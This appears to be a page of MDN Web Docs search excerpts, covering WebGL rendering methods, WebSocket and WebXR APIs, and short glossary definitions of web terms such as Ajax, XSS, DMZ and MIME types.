Syntax void gl.scissor(x, y, width, height); Parameters x A GLint specifying the horizontal coordinate for the lower left corner of the box. Default value: 0. y A GLint specifying the vertical coordinate for the lower left corner of the box. Default value: 0. width A non-negative Glsizei specifying the width of the scissor box. Default value: width of the canvas. height A non-negative Glsizei specifying the height of the scissor box. Default value: height of the canvas. Return value None. Exceptions If either width or height is a negative value, a gl.INVALID_VALUE error is thrown. ...
..., height); // execute drawing commands in the scissor box (e.g. clear) // turn off scissor test again gl.disable(gl.SCISSOR_TEST); To get the current scissor box dimensions, query the SCISSOR_BOX constant which returns an Int32Array. gl.scissor(0, 0, 200, 200); gl.getParameter(gl.SCISSOR_BOX); // Int32Array[0, 0, 200, 200] Specifications Specification Status Comment
WebGL 1.0The definition of 'scissor' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glScissor' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.stencilFunc() - Web APIs
Stenciling enables and disables drawing on a per-pixel basis. It is typically used in multipass rendering to achieve special effects. Syntax void gl.stencilFunc(func, ref, mask); Parameters func A GLenum specifying the test function. The default function is gl.ALWAYS. The possible values are: gl.NEVER: Never pass. gl.LESS: Pass if (ref & mask) < (stencil & mask). gl.EQUAL: Pass if (ref & mask) = (stencil & mask). gl.LEQUAL: Pass if (ref & mask) <= (stencil & mask). gl.GREATER: Pass if (ref & mask) > (stencil & mask). gl.NOTEQUAL: Pass if (ref & mask) != (stencil & mask). ...
... information, query the following constants with getParameter(). gl.getParameter(gl.STENCIL_FUNC); gl.getParameter(gl.STENCIL_VALUE_MASK); gl.getParameter(gl.STENCIL_REF); gl.getParameter(gl.STENCIL_BACK_FUNC); gl.getParameter(gl.STENCIL_BACK_VALUE_MASK); gl.getParameter(gl.STENCIL_BACK_REF); gl.getParameter(gl.STENCIL_BITS); Specifications Specification Status Comment
WebGL 1.0The definition of 'stencilFunc' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glStencilFunc' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.stencilFuncSeparate() - Web APIs
Stencilling enables and disables drawing on a per-pixel basis. It is typically used in multipass rendering to achieve special effects. Syntax void gl.stencilFuncSeparate(face, func, ref, mask); Parameters face A GLenum specifying whether the front and/or back stencil state is updated. The possible values are: gl.FRONT gl.BACK gl.FRONT_AND_BACK func A GLenum specifying the test function. The default function is gl.ALWAYS. The possible values are: gl.NEVER: Never pass. gl.LESS: Pass if (ref & mask) < (stencil & mask). gl.EQUAL: Pass if (ref & mask) = (stencil & mask). ...
... information, query the following constants with getParameter(). gl.getParameter(gl.STENCIL_FUNC); gl.getParameter(gl.STENCIL_VALUE_MASK); gl.getParameter(gl.STENCIL_REF); gl.getParameter(gl.STENCIL_BACK_FUNC); gl.getParameter(gl.STENCIL_BACK_VALUE_MASK); gl.getParameter(gl.STENCIL_BACK_REF); gl.getParameter(gl.STENCIL_BITS); Specifications Specification Status Comment
WebGL 1.0The definition of 'stencilFuncSeparate' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glStencilFuncSeparate' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.stencilMask() - Web APIs
Syntax void gl.stencilMask(mask); Parameters mask A GLuint specifying a bit mask to enable or disable writing of individual bits in the stencil planes. By default, the mask is all 1. Return value None. Examples gl.stencilMask(110101); To get the current stencil masks, query the STENCIL_WRITEMASK, STENCIL_BACK_WRITEMASK, or STENCIL_BITS constants. ...
...sk is all 1. Return value None. Examples gl.stencilMask(110101); To get the current stencil masks, query the STENCIL_WRITEMASK, STENCIL_BACK_WRITEMASK, or STENCIL_BITS constants. gl.getParameter(gl.STENCIL_WRITEMASK); // 110101 gl.getParameter(gl.STENCIL_BACK_WRITEMASK); // 110101 gl.getParameter(gl.STENCIL_BITS); // 0 Specifications Specification Status Comment
WebGL 1.0The definition of 'stencilMask' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glStencilMask' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.stencilMaskSeparate() - Web APIs
Syntax void gl.stencilMaskSeparate(face, mask); Parameters face A GLenum specifying whether the front and/or back stencil writemask is updated. The possible values are: gl.FRONT gl.BACK gl.FRONT_AND_BACK mask A GLuint specifying a bit mask to enable or disable writing of individual bits in the stencil planes. By default, the mask is all 1. Return value None. ...
...urn value None. Examples gl.stencilMaskSeparate(gl.FRONT, 110101); To get the current stencil masks, query the STENCIL_WRITEMASK, STENCIL_BACK_WRITEMASK, or STENCIL_BITS constants. gl.getParameter(gl.STENCIL_WRITEMASK); // 110101 gl.getParameter(gl.STENCIL_BACK_WRITEMASK); // 110101 gl.getParameter(gl.STENCIL_BITS); // 0 Specifications Specification Status Comment
WebGL 1.0The definition of 'stencilMaskSeparate' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glStencilMaskSeparate' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.validateProgram() - Web APIs
The
WebGLRenderingContext.validateProgram() method of the
WebGL API validates a
WebGLProgram. It checks if it is successfully linked and if it can be used in the current
WebGL state. Syntax void gl.validateProgram(program); Parameters program A
WebGLProgram to validate. Return value None. Examples var program = gl.createProgram(); // Attach pre-existing shaders gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); gl.validateProgram(program); if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) { var info = gl.getProgramInfoLog(program); throw 'Could not compile
WebGL program. ...
...ders gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); gl.validateProgram(program); if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) { var info = gl.getProgramInfoLog(program); throw 'Could not compile
WebGL program. \n\n' + info; } gl.useProgram(program); Specifications Specification Status Comment
WebGL 1.0The definition of 'validateProgram' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glValidateProgram' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
Syntax void gl.vertexAttrib1f(index, v0); void gl.vertexAttrib2f(index, v0, v1); void gl.vertexAttrib3f(index, v0, v1, v2); void gl.vertexAttrib4f(index, v0, v1, v2, v3); void gl.vertexAttrib1fv(index, value); void gl.vertexAttrib2fv(index, value); void gl.vertexAttrib3fv(index, value); void gl.vertexAttrib4fv(index, value); Parameters index A GLuint specifying the position of the vertex attribute to be modified. v0, v1, v2, v3 A floating point Number for the vertex attribute value. value A Float32Array for floating point vector vertex attribute values. Return value None. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glVertexAttrib' in that specification. Standard Man page of the OpenGL API. ...
WebGLShaderPrecisionFormat - Web APIs
The
WebGLShaderPrecisionFormat interface is part of the
WebGL API and represents the information returned by calling the
WebGLRenderingContext.getShaderPrecisionFormat() method. Properties
WebGLShaderPrecisionFormat.rangeMin Read only The base 2 log of the absolute value of the minimum value that can be represented.
WebGLShaderPrecisionFormat.rangeMax Read only The base 2 log of the absolute value of the maximum value that can be represented.
WebGLShaderPrecisionFormat.precision Read only The number of bits of precision that can be represented. For integer formats this value is always 0. Examples A
WebGLShaderPrecisionFormat object is returned by the
WebGLRenderingContext.getShaderPrecisionFormat() method. var canvas = document.getElementById('canvas'); var gl = canvas.getCon...
...e of the maximum value that can be represented.
WebGLShaderPrecisionFormat.precision Read only The number of bits of precision that can be represented. For integer formats this value is always 0. Examples A
WebGLShaderPrecisionFormat object is returned by the
WebGLRenderingContext.getShaderPrecisionFormat() method. var canvas = document.getElementById('canvas'); var gl = canvas.getContext('
webgl'); gl.getShaderPrecisionFormat(gl.VERTEX_SHADER, gl.MEDIUM_FLOAT); //
WebGLShaderPrecisionFormat { rangeMin: 127, rangeMax: 127, precision: 23 } Specifications Specification Status Comment
WebGL 1.0The definition of '
WebGLShaderPrecisionFormat' in that specification. Recommendation Initial definition. ...
Creating 3D objects using WebGL - Web APIs
.0, -1.0, 1.0, -1.0, -1.0, 1.0, -1.0, 1.0, -1.0, -1.0, 1.0, // Right face 1.0, -1.0, -1.0, 1.0, 1.0, -1.0, 1.0, 1.0, 1.0, 1.0, -1.0, 1.0, // Left face -1.0, -1.0, -1.0, -1.0, -1.0, 1.0, -1.0, 1.0, 1.0, -1.0, 1.0, -1.0, ]; Since we've added a z-component to our vertices, we need to update the numComponents of our vertexPosition attribute to 3. // Tell
WebGL how to pull out the positions from the position // buffer into the vertexPosition attribute { const numComponents = 3; ... gl.vertexAttribPointer( programInfo.attribLocations.vertexPosition, numComponents, type, normalize, stride, offset); gl.enableVertexAttribArray( programInfo.attribLocations.vertexPosition); } Define the vertices' colors W...
...exBuffer, }; } The indices array defines each face like a pair of triangles, specifying each triangle's vertices as an index into the cube's vertex arrays. Thus the cube is described as a collection of 12 triangles. Drawing the cube Next we need to add code to our drawScene() function to draw using the cube's index buffer, adding new gl.bindBuffer() and gl.drawElements() calls: // Tell
WebGL which indices to use to index the vertices gl.bindBuffer(gl.ELEMENT_ARRAY_BUFFER, buffers.indices); ... { const vertexCount = 36; const type = gl.UNSIGNED_SHORT; const offset = 0; gl.drawElements(gl.TRIANGLES, vertexCount, type, offset); } Since each face of our cube is comprised of two triangles, there are 6 vertices per side, or 36 total vertices in the cube, even t...
WebSocket.close() - Web APIs
If this parameter is not specified, a default value of 1005 is assumed. See the list of status codes of CloseEvent for permitted values. reason Optional A human-readable string explaining why the connection is closing. This string must be no longer than 123 bytes of UTF-8 text (not characters). Exceptions thrown INVALID_ACCESS_ERR An invalid code was specified. SYNTAX_ERR The reason string is too long or contains unpaired surrogates. ...
...ers). Exceptions thrown INVALID_ACCESS_ERR An invalid code was specified. SYNTAX_ERR The reason string is too long or contains unpaired surrogates. Note: In Gecko, this method didn't support any parameters prior to Gecko 8.0 (Firefox 8.0 / Thunderbird 8.0 / SeaMonkey 2.5). Specifications Specification Status Comment HTML Living Standard The definition of '
WebSocket.close()' in that specification. Living Standard Initial definition ...
WebSocket: close event - Web APIs
The close event is fired when a connection with a
WebSocket is closed. Bubbles No Cancelable No Interface CloseEvent Event handler property onclose Examples You might want to know when the connection has been closed so that you can update the UI or, perhaps, save data about the closed connection. Given that you have a variable called exampleSocket that refers to an opened
WebSocket, this handler would handle the situation where the socket has been closed. exampleSocket.addEventListener('close', (event) => { console.log('The connection has been closed successfully.'); )}; You can perform the same actions using the event handler property, like this: exampleSocket.onclose = function (event) { console.log('The connection has been cl...
... Living Standard ...
Visualizations with Web Audio API - Web APIs
This article explains how, and provides a couple of basic use cases. Note: You can find working examples of all the code snippets in our Voice-change-O-matic demo. ...
...ate visualizations. This article explains how, and provides a couple of basic use cases. Note: You can find working examples of all the code snippets in our Voice-change-O-matic demo. ...
Web Bluetooth API - Web APIs
Interfaces Bluetooth Returns a Promise to a BluetoothDevice object with the specified options. BluetoothAdvertisingData Provides advertising data about a particular Bluetooth device. BluetoothCharacteristicProperties Provides properties of a particular BluetoothRemoteGATTCharacteristic. BluetoothDevice Represents a Bluetooth device inside a particular script execution environment. BluetoothRemoteGATTCharacteristic Represents a GATT Characteristic, which is a basic data element that provides further information about a peripheral's service. ...
...a GATT Descriptor, which provides further information about a characteristic's value. BluetoothRemoteGATTServer Represents a GATT Server on a remote device. BluetoothRemoteGATTService Represents a service provided by a GATT server, including a device, a list of referenced services, and a list of the characteristics of this service. Specifications Specification Feedback
Web Bluetooth To provide feedback on the
Web Bluetooth API, file a spec issue. ...
Web NFC API - Web APIs
Low-level operations are currently not supported by the API, however there is a public discussion about API that would add such functuionality. Interfaces NDEFMessage Interface that represents NDEF messages that can be received from or sent to a compatible device or tag via NDEFReader and NDEFWriter objects respectively. A message is composed of metadata and NDEF Records. NDEFReader Interface that enables reading messages from compatible NFC devices or tags. The messages are represented as NDEFMessage objects. ...
...EF Records. ...
XRWebGLLayer.framebufferHeight - Web APIs
The read-only XR
WebGLLayer property framebufferHeight indicates the height of the framebuffer, in pixels. You can get the width of the framebuffer using the framebufferWidth property. Syntax let bufferHeight = xr
WebGLLayer.framebufferHeight; Value The height in pixels of the XR device's framebuffer. Each of the framebuffer's attachments (pixel, depth, color, and/or stencil buffers, for example) are all this many pixels tall. Examples This snippet simply fetches the framebuffer's width and height for later use. ...
...buffers, for example) are all this many pixels tall. Examples This snippet simply fetches the framebuffer's width and height for later use. let glLayer = xrSession.renderState.baseLayer; gl.bindFramebuffer(gl.FRAMEBUFFER, glLayer.framebuffer); frameWidth = glLayer.framebufferHeight; frameHeight = glLayer.framebufferHeight; Specifications Specification Status Comment
WebXR Device APIThe definition of 'XR
WebGLLayer.framebufferHeight' in that specification. Working Draft Initial definition. ...
XRWebGLLayer.framebufferWidth - Web APIs
The read-only XR
WebGLLayer property framebufferWidth specifies the width of the framebuffer, in pixels. You can get the height of the framebuffer using the framebufferHeight property. Syntax let bufferWidth = xr
WebGLLayer.framebufferWidth; Value The width in pixels of the XR device's framebuffer. Each of the framebuffer's attachments (pixel, depth, color, and/or stencil buffers, for example) are all this many pixels wide. Examples This snippet simply fetches the framebuffer's width and height for later use. ...
... buffers, for example) are all this many pixels wide. Examples This snippet simply fetches the framebuffer's width and height for later use. let glLayer = xrSession.renderState.baseLayer; gl.bindFramebuffer(gl.FRAMEBUFFER, glLayer.framebuffer); frameWidth = glLayer.framebufferWidth; frameHeight = glLayer.framebufferHeight; Specifications Specification Status Comment
WebXR Device APIThe definition of 'XR
WebGLLayer.framebufferWidth' in that specification. Working Draft Initial definition. ...
XRWebGLLayerInit.alpha - Web APIs
The alpha property is a Boolean value which, if present and set to true in the XR
WebGLLayerInit dictionary passed into the XR
WebGLLayer() constructor, specifies that the new layer's color buffer is to include an alpha channel. Otherwise, the color buffer won't have an alpha channel. The default is true. Syntax let layerInit = { alpha: boolValue }; let glLayer = new XR
WebGLLayer(xrSession, gl, layerInit); let glLayer = new XR
WebGLLayer(xrSession, gl, { alpha: boolValue }); Value A Boolean which can be set to true to request that the new
WebGL layer for rendering the
WebXR scene is to have an alpha channel. ...
...on't have an alpha channel. The default is true. Syntax let layerInit = { alpha: boolValue }; let glLayer = new XR
WebGLLayer(xrSession, gl, layerInit); let glLayer = new XR
WebGLLayer(xrSession, gl, { alpha: boolValue }); Value A Boolean which can be set to true to request that the new
WebGL layer for rendering the
WebXR scene is to have an alpha channel. Example In this example, a new XR
WebGLLayer is created for a
WebXR session, xrSession, without an alpha channel. xrSession.updateRenderState({ baseLayer: new XR
WebGLLayer(xrSession, gl, { alpha: false }); }); Specifications Specification Status Comment
WebXR Device APIThe definition of 'XR
WebGLLayerInit.alpha' in that specification. Working Draft Initial definition. ...
Handling media support issues in web content - Web media technologies
One of the realities of working with audio and video presentation and manipulation on the
web is that there are a number of media formats available, of varying degrees of popularity and with a variety of capabilities. The availability of choices is good for the user, in that they can choose the format that suits their needs best. There is a drawback, however: because there are so many to choose from, with so many different kinds of licenses and design principles involved, each
web browser developer is left to its own devices when deciding which media file types and codecs to support. This places a small, but reasonably easily overcome, burden on the
web developer: to properly handle the situation when the user's browser can't handle a particular type of media. This guide covers techniques...
...Topics we will examine fallbacks, baseline media formats, and error handling practices that will let your content work in as many situations as possible. ...
502 - MDN Web Docs Glossary: Definitions of Web-related terms
When you request to access a URL, the gateway server can relay your request to the upstream server. "502" means that the upstream server has returned an invalid response. Normally the upstream server is not down (i.e. furnishes no response to the gateway/proxy), but simply does not understand the same data-exchange protocol as the gateway/proxy. ...
Ajax - MDN Web Docs Glossary: Definitions of Web-related terms
Ajax, which initially stood for Asynchronous JavaScript And XML, is a programming practice of building complex, dynamic
webpages using a technology known as XMLHttpRequest. Ajax allows you to update parts of the DOM of an HTML page instead without the need for a full page refresh. Ajax also lets you work asynchronously, meaning your code continues to run while the targeted part of your
web page is trying to reload (compared to synchronously, which blocks your code from running until that part of your page is done reloading). With interactive
websites and modern
web standards, Ajax is gradually being replaced by functions within JavaScript frameworks and the official Fetch API Standard. ...
CSS preprocessor - MDN Web Docs Glossary: Definitions of Web-related terms
generate CSS from the preprocessor's own unique syntax. There are many CSS preprocessors to choose from, however most CSS preprocessors will add some features that don't exist in pure CSS, such as mixin, nesting selector, inheritance selector, and so on. These features make the CSS structure more readable and easier to maintain. To use a CSS preprocessor, you must install a CSS compiler on your
web server; Or use the CSS preprocessor to compile on the development environment, and then upload compiled CSS file to the
web server. ...
Call stack - MDN Web Docs Glossary: Definitions of Web-related terms
When a script calls a function, the interpreter adds it to the call stack and then starts carrying out the function. Any functions that are called by that function are added to the call stack further up, and run where their calls are reached. When the current function is finished, the interpreter takes it off the stack and resumes execution where it left off in the last code listing. ...
Callback function - MDN Web Docs Glossary: Definitions of Web-related terms
ynchronous callback, as it is executed immediately. Note, however, that callbacks are often used to continue code execution after an asynchronous operation has completed -- these are called asynchronous callbacks. A good example is the callback functions executed inside a .then() block chained onto the end of a promise after that promise fulfills or rejects. This structure is used in many modern
web APIs, such as fetch(). Learn more General knowledge Callback on Wikipedia ...
Canvas - MDN Web Docs Glossary: Definitions of Web-related terms
The canvas element is part of HTML5 and allows for dynamic, scriptable rendering of 2D and 3D shapes and bitmap images. It is a low level, procedural model that updates a bitmap and does not have a built-in scene graph. It provides an empty graphic zone on which specific JavaScript APIs can draw (such as Canvas 2D or
WebGL). Learn more General knowledge Canvas on Wikipedia Learning resources The Canvas tutorial on MDN Technical information The HTML <canvas> element on MDN The Canvas general documentation on MDN CanvasRenderingContext2D: The canvas 2D drawing API The Canvas 2D API specification ...
Card sorting - MDN Web Docs Glossary: Definitions of Web-related terms
Card sorting is a simple technique used in Information architecture whereby people involved in the design of a
website (or other type of product) are invited to write down the content / services / features they feel the product should contain, and then organize those features into categories or groupings. This can be used for example to work out what should go on each page of a
website. The name comes from the fact that often card sorting is carried out by literally writing the items to sort onto cards, and then arranging the cards into piles. Learn more General knowledge Card sorting on Wikipedia ...
Certificate authority - MDN Web Docs Glossary: Definitions of Web-related terms
A certificate authority (CA) is an organization that signs digital certificates and their associated public keys. This certifies that an organization that requested a digital certificate (e.g., Mozilla Corporation) is authorized to request a certificate for the subject named in the certificate (e.g., mozilla.org).
Web browsers come preloaded with a list of certificate authorities trusted to issue digital certificates. Learn more Certificate authority on Wikipedia Mozilla Included CA Certificate List ...
Code splitting - MDN Web Docs Glossary: Definitions of Web-related terms
le smaller files. Then features required at page load can be downloaded immediately with additional scripts being lazy loaded after the page or application is interactive, thus improving performance. While the total amount of code is the same (and perhaps even a few bytes larger), the amount of code needed during initial load can be reduced. Code splitting is a feature supported by bundlers like
Webpack and Browserify which can create multiple bundles that can be dynamically loaded at runtime. See Also Bundling Lazy loading HTTP/2 Tree shaking ...
Codec - MDN Web Docs Glossary: Definitions of Web-related terms
A codec (a blend word derived from "coder-decoder") is a program, algorithm, or device that encodes or decodes a data stream. A given codec knows how to handle a specific encoding or compression technology. Learn more General knowledge Codec on Wikipedia Technical reference
Web video codec guide
Web audio codec guide Guide to media types and formats on the
web ...
Compile - MDN Web Docs Glossary: Definitions of Web-related terms
uctivity tools. Most Compilers work either ahead-of-time (AOT) or just-in-time (JIT). As a programmer, you usually invoke AOT compilers from a command line or your IDE. The most famous, "gcc" is one example. JIT compilers are usually transparent to you, used for performance. For instance in the browser: Firefox' SpiderMonkey JavaScript Engine has a JIT built-in that will compile JavaScript in a
website to machine code while you're viewing it so it runs faster. Projects like
WebAssembly work on making this even better. Learn more General knowledge Compiler on Wikipedia The GNU Compiler Collection (GCC) Learning resources Base CS Introduction on Compilers A big list of learning material on StackOverflow ...
Computer Programming - MDN Web Docs Glossary: Definitions of Web-related terms
r/software program what to do in a language which the computer understands. These instructions come in the form of many different languages such as C++, Java, JavaScript, HTML, Python, Ruby, and Rust. Using an appropriate language, you can program/create all sorts of software. For example, a program that helps scientists with complex calculations, a database that stores huge amounts of data, a
web site that allows people to download music, or animation software that allows people to create animated movies. Learn more General knowledge Computer programming on Wikipedia List of Programming Languages: Wikipedia ...
Control flow - MDN Web Docs Glossary: Definitions of Web-related terms
The control flow is the order in which the computer executes statements in a script. Code is run in order from the first line in the file to the last line, unless the computer runs across the (extremely frequent) structures that change the control flow, such as conditionals and loops. For example, imagine a script used to validate user data from a
webpage form. The script submits validated data, but if the user, say, leaves a required field empty, the script prompts them to fill it in. To do this, the script uses a conditional structure or if...else, so that different code executes depending on whether the form is complete or not: if (field==empty) { promptUser(); } else { submitForm(); } A typical script in JavaScript or PHP (and the like) includes many control structur...
Cross-site scripting - MDN Web Docs Glossary: Definitions of Web-related terms
This code is executed by the victims and lets the attackers bypass access controls and impersonate users. According to the Open
Web Application Security Project, XSS was the seventh most common
Web app vulnerability in 2017. These attacks succeed if the
Web app does not employ enough validation or encoding. The user's browser cannot detect the malicious script is untrustworthy, and so gives it access to any cookies, session tokens, or other sensitive site-specific information, or lets the malicious script rewrite the HTML content. ...
DMZ - MDN Web Docs Glossary: Definitions of Web-related terms
A DMZ is a way to provide an insulated secure interface between an internal network (corporate or private) and the outside untrusted world -- usually the Internet. It exposes only certain defined endpoints, while denying access to the internal network from external nodes. Learn more General knowledge DMZ on Wikipedia Learn about it
Web servers and Firewall - Maximum Security Against Attack on MDN ody> ...
DOM (Document Object Model) - MDN Web Docs Glossary: Definitions of Web-related terms
The DOM (Document Object Model) is an API that represents and interacts with any HTML or XML document. The DOM is a document model loaded in the browser and representing the document as a node tree, where each node represents part of the document (e.g. an element, text string, or comment). The DOM is one of the most-used APIs on the
Web because it allows code running in a browser to access and interact with every node in the document. Nodes can be created, moved and changed. Event listeners can be added to nodes and triggered on occurrence of a given event. DOM was not originally specified--it came about when browsers began implementing JavaScript. This legacy DOM is sometimes called DOM 0. Today, the WHATWG maintains the DOM Living Standard. ...
DTLS (Datagram Transport Layer Security) - MDN Web Docs Glossary: Definitions of Web-related terms
Security (TLS), providing a similar level of security. As a datagram protocol, DTLS doesn't guarantee the order of message delivery, or even that messages will be delivered at all. However, DTLS gains the benefits of datagram protocols, too; in particular, the lower overhead and reduced latency. These features are especially useful for one of the most common areas in which DTLS comes into play:
WebRTC. All of the
WebRTC related protocols are required to encrypt their communications using DTLS; this includes SCTP, SRTP, and STUN. Learn more General knowledge Datagram Transport Layer Security on Wikipedia Specifications RFC 6347: Datagram Transport Layer Security Version 1.2 Datagram Transport Layer Security Protocol Version 1.3 draft specification Related specifications RFC 5...
Domain - MDN Web Docs Glossary: Definitions of Web-related terms
"organization" which is defined in a top-level domain registry. "mozilla" is the domain. If you like to own a domain you have to register it with one of the many registrars who are allowed to do so with a top-level domain registry. "developer" is a "sub-domain", something you as the owner of a domain may define yourself. Many owners choose to have a subdomain "www" to point to their World_Wide_
Web resource, but that's not required (and has even fallen somewhat out of favor). Learn more Domain Name on Wikipedia ...
Endianness - MDN Web Docs Glossary: Definitions of Web-related terms
rst or lowest address), comparable to a common European way of writing dates (e.g., 31 December 2050). Naturally, big-endian is the opposite order, comparable to an ISO date (2050-12-31). Big-endian is also often called "network byte order", because Internet standards usually require data to be stored big-endian, starting at the standard UNIX socket level and going all the way up to standardized
Web binary data structures. Also, older Mac computers using 68000-series and PowerPC microprocessors formerly used big-endian. Examples with the number 0x12345678 (i.e. 305 419 896 in decimal): little-endian: 0x78 0x56 0x34 0x12 big-endian: 0x12 0x34 0x56 0x78 mixed-endian (historic and very rare): 0x34 0x12 0x78 0x56 ...
Fetch directive - MDN Web Docs Glossary: Definitions of Web-related terms
CSP fetch directives are used in a Content-Security-Policy header and control locations from which certain resource types may be loaded. For instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of
web fonts. All fetch directives fall back to default-src. That means, if a fetch directive is absent in the CSP header, the user agent will look for the default-src directive. See Fetch directives for a complete list. ...
First CPU idle - MDN Web Docs Glossary: Definitions of Web-related terms
First CPU Idle measures when a page is minimally interactive, or when the window is quiet enough to handle user input. It is a non-standard Google
web performance metric. Generally, it occurs when most, but not necessarily all visible UI elements are interactive, and the user interface responds, on average, to most user input within 50ms. It is also known as First interactive. ...
First input delay - MDN Web Docs Glossary: Definitions of Web-related terms
First input delay (FID) measures the time from when a user first interacts with your site (i.e. when they click a link, tap on a button, or use a custom, JavaScript-powered control) to the time when the browser is actually able to respond to that interaction. It is the length of time, in milliseconds, between the first user interaction on a
web page and the browser's response to that interaction. Scrolling and zooming are not included in this metric. The time between when content is painted to the page and when all the functionality becomes responsive to human interaction often varies based on the the size and complexity of the JavaScript needing to be downloaded, parsed, and executed on the main thread, and on the device speed or lack thereof (think low end mobile devices). The long...
Gzip compression - MDN Web Docs Glossary: Definitions of Web-related terms
Gzip is a file format used for file compression and decompression. It is based on the Deflate algorithm that allows files to be made smaller in size which allows for faster network transfers. Gzip is commonly supported by
web servers and modern browsers, meaning that servers can automatically compress files with Gzip before sending them, and browsers can uncompress files upon receiving them. Learn more How to enable compression and gzip for page speed. Gzip on Wikipedia ...
Gaia - MDN Web Docs Glossary: Definitions of Web-related terms
The user interface and default application suite of the Firefox OS platform. Once Firefox OS starts, anything drawn to screen is a product of the Gaia layer (e.g., the lock screen, home screen, standard apps). Gaia is implemented entirely with HTML, CSS, and JavaScript, and its only interfaces to the underlying operating system are through open
Web APIs, which the Gecko layer implements. You can install third-party apps alongside Gaia. Learn more Technical reference Gaia platform guide Gaia development/hacking guide ...
Gecko - MDN Web Docs Glossary: Definitions of Web-related terms
Gecko is the layout engine developed by the Mozilla Project and used in many apps/devices, including Firefox and Firefox OS.
Web browsers need software called a layout engine to interpret HTML, CSS, JavaScript, and embedded content (like images) and draw everything to your screen. Besides this, Gecko makes sure associated APIs work well on every operating system Gecko supports, and that appropriate APIs are exposed only to relevant support targets. This means that Gecko includes, among other things, a networking stack, graphics stack, layout engine, a JavaScript virtual machine, and porting layers. Since all Firefox OS apps are
Web apps, Firefox OS uses Gecko as its app runtime as well. Learn more General knowledge Gecko on Wikipedia Technical Reference The Gecko documenta...
ITU - MDN Web Docs Glossary: Definitions of Web-related terms
the ITU's role of establishing standards for video and audio data formats used for streaming, teleconferencing, and other purposes. For example, the ITU and the Moving Picture Experts Group (MPEG) worked together to develop and publish, as well as to maintain, the various MPEG specifications, such as MPEG-2 (ITU H.262), AVC (ITU H.264), and HEVC (ITU H.265). Learn more General knowledge ITU
web site Learn about it ITU history portal ...
Information architecture - MDN Web Docs Glossary: Definitions of Web-related terms
Information architecture, as applied to
web design and development, is the practice of organizing the information / content / functionality of a
web site so that it presents the best user experience it can, with information and services being easily usable and findable. Learn more General knowledge Information architecture on Wikipedia ...
Keyword - MDN Web Docs Glossary: Definitions of Web-related terms
A keyword is a word or phrase that describes content. Online keywords are used as queries for search engines or as words identifying content on
websites. When you use a search engine, you use keywords to specify what you are looking for, and the search engine returns relevant
webpages. For more accurate results, try more specific keywords, such as "Blue Mustang GTO" instead of simply "Mustang".
Webpages also use keywords in a meta tag (in the <head> section) to describe page content, so search engines can better identify and organize
webpages. Learn More General Knowledge Keyword on Wikipedia ...
Layout viewport - MDN Web Docs Glossary: Definitions of Web-related terms
Essentially, it represents what is available to be seen, while the visual viewport represents what is currently visible on the user's display device. This becomes important, for example, on mobile devices, where a pinching gesture can usually be used to zoom in and out on a site's contents. The rendered document doesn't change in any way, so the layout viewport remains the same as the user adjusts the zoom level. Instead, the visual viewport is updated to indicate the area of the page that they can see. ...
Lossless compression - MDN Web Docs Glossary: Definitions of Web-related terms
Lossless compression is a class of data compression algorithms that allows the original data to be perfectly reconstructed from the compressed data. Lossless compression methods are reversible. Examples of lossless compression include GZIP, Brotli,
WebP, and PNG, Lossy compression, on the other hand, uses inexact approximations by discarding some data from the original file, making it an irreversible compression method. ...
MIME type - MDN Web Docs Glossary: Definitions of Web-related terms
ed audio/ogg, or an image file image/png). It serves the same purpose as filename extensions traditionally do on Windows. The name originates from the MIME standard originally used in E-Mail. Learn more General knowledge Internet media type on Wikipedia Technical reference List of MIME types Properly Configuring Server MIME Types Details information about the usage of MIME Types in a
Web context. Incomplete list of MIME types How Mozilla determines MIME Types MediaRecorder.mimeType ...
Main thread - MDN Web Docs Glossary: Definitions of Web-related terms
The main thread is where a browser processes user events and paints. By default, the browser uses a single thread to run all the JavaScript in your page, as well as to perform layout, reflows, and garbage collection. This means that long-running JavaScript functions can block the thread, leading to an unresponsive page and a bad user experience. Unless intentionally using a
web worker, such as a service worker, JavaScript runs on the main thread, so it's easy for a script to cause delays in event processing or painting. The less work required of the main thread, the more that thread can respond to user events, paint, and generally be responsive to the user. ...
Media - MDN Web Docs Glossary: Definitions of Web-related terms
Media (Audio-visual presentation) The term media (more accurately, multimedia) refers to audio, video, or combined audio-visual material such as music, recorded speech, movies, TV shows, or any other form of content that is presented over a period of time. Media (CSS) In the context of CSS (Cascading Style Sheets), the term media refers to the destination to which the document is to be drawn by the rendering engine. ...
Middleware - MDN Web Docs Glossary: Definitions of Web-related terms
Middleware is a (loosly defined) term for any software or service that enables the parts of a system to communicate and manage data. It is the software that handles communication between components and input/output, so developers can focus on the specific purpose of their application. In server-side
web application frameworks, the term is often more specifically used to refer to pre-built software components that can be added to the framework's request/response processing pipeline, to handle tasks such as database access. Learn more General knowledge Middleware_(distributed_applications) on Wikipedia Middleware on Wikipedia ...
MitM - MDN Web Docs Glossary: Definitions of Web-related terms
c Wi-Fi networks aren't trustworthy. Check for HTTPS in your address bar and ensure encryption is in-place before logging in. Learn more OWASP Article: Man-in-the-middle attack Wikipedia: Man-in-the-middle attack The Public-Key-Pins header (HPKP) can significantly decrease the risk of MITM by instructing browsers to require a whitelisted certificate for all subsequent connections to that
website. ...
Mobile First - MDN Web Docs Glossary: Definitions of Web-related terms
The rationale behind the mobile-first approach is to provide users with good user experiences at all screen sizes--by starting with creating a user experience that works well on small screens, and then building on top of that to further enrich the user experience as the screen size increases. ...
